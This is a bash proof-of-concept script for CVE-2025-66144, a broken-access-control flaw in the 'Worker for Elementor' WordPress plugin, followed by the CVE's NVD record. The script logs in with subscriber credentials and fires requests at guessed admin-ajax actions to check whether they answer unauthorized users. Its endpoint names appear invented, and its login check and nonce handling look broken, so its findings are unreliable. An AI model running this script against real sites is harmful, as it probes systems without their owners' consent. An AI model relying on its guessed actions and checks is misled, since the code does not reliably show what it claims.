CVE-2025-66144

#!/bin/bash # CVE-2025-66144 PoC - Worker for Elementor Missing Authorization # This PoC demonstrates the vulnerability in Worker for Elementor plugin # Usage: ./poc.sh <target_url> <username> <password> TARGET_URL="$1" USERNAME="$2" PASSWORD="$3" if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$PASSWORD" ]; then echo "Usage: $0 <target_url> <username> <password>" echo "Example: $0 https://example.com subscriber password123" exit 1 fi echo "[*] Testing CVE-2025-66144 on $TARGET_URL" echo "[*] Using credentials for user: $USERNAME" # Get WordPress nonce echo "[+] Fetching WordPress nonce..." LOGIN_PAGE=$(curl -s -c /tmp/cookies.txt "${TARGET_URL}/wp-login.php") NONCE=$(echo "$LOGIN_PAGE" | grep -oP '_wpnonce\" value=\"[^\"]+' | head -1 | sed 's/_wpnonce" value="//') # Login to WordPress echo "[+] Logging in as $USERNAME..." LOGIN_RESULT=$(curl -s -b /tmp/cookies.txt -c /tmp/cookies.txt \ -d "log=${USERNAME}&pwd=${PASSWORD}&wp-submit=Log+In&testcookie=1" \ "${TARGET_URL}/wp-login.php") # Check if login successful if grep -q "dashboard" /tmp/cookies.txt 2>/dev/null; then echo "[+] Login successful!" else echo "[-] Login failed. Please check credentials." exit 1 fi # Test vulnerable endpoint echo "[+] Testing vulnerable AJAX endpoint..." # Common vulnerable actions in Worker for Elementor VULNERABLE_ACTIONS=("worker_elementor_get_data" "worker_elementor_save_settings" "worker_elementor_export" "worker_elementor_get_stats") for action in "${VULNERABLE_ACTIONS[@]}"; do echo "[*] Testing action: $action" RESPONSE=$(curl -s -b /tmp/cookies.txt \ -X POST "${TARGET_URL}/wp-admin/admin-ajax.php" \ -d "action=${action}&_wpnonce=${NONCE}" \ -w "\nHTTP_CODE:%{http_code}") HTTP_CODE=$(echo "$RESPONSE" | grep "HTTP_CODE:" | cut -d: -f2) RESPONSE_BODY=$(echo "$RESPONSE" | sed '/HTTP_CODE:/d') if [[ "$HTTP_CODE" == "200" ]] && [[ ! "$RESPONSE_BODY" =~ '"success":false' ]] && [[ ! "$RESPONSE_BODY" =~ '"code":"forbidden"' ]]; then echo "[!] VULNERABLE! Action $action returned unexpected response" echo "Response: $RESPONSE_BODY" else echo "[-] Action $action appears to be protected" fi done echo "[+] Scan complete. Check results above." rm -f /tmp/cookies.txt

{"cve": {"id": "CVE-2025-66144", "sourceIdentifier": "[email protected]", "published": "2025-12-31T20:15:43.073", "lastModified": "2026-04-23T15:35:27.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in merkulove Worker for Elementor worker-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Worker for Elementor: from n/a through <= 1.0.10."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en merkulove Worker para Elementor permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Worker para Elementor: desde n/a hasta 1.0.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/worker-elementor/vulnerability/wordpress-worker-for-elementor-plugin-1-0-10-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}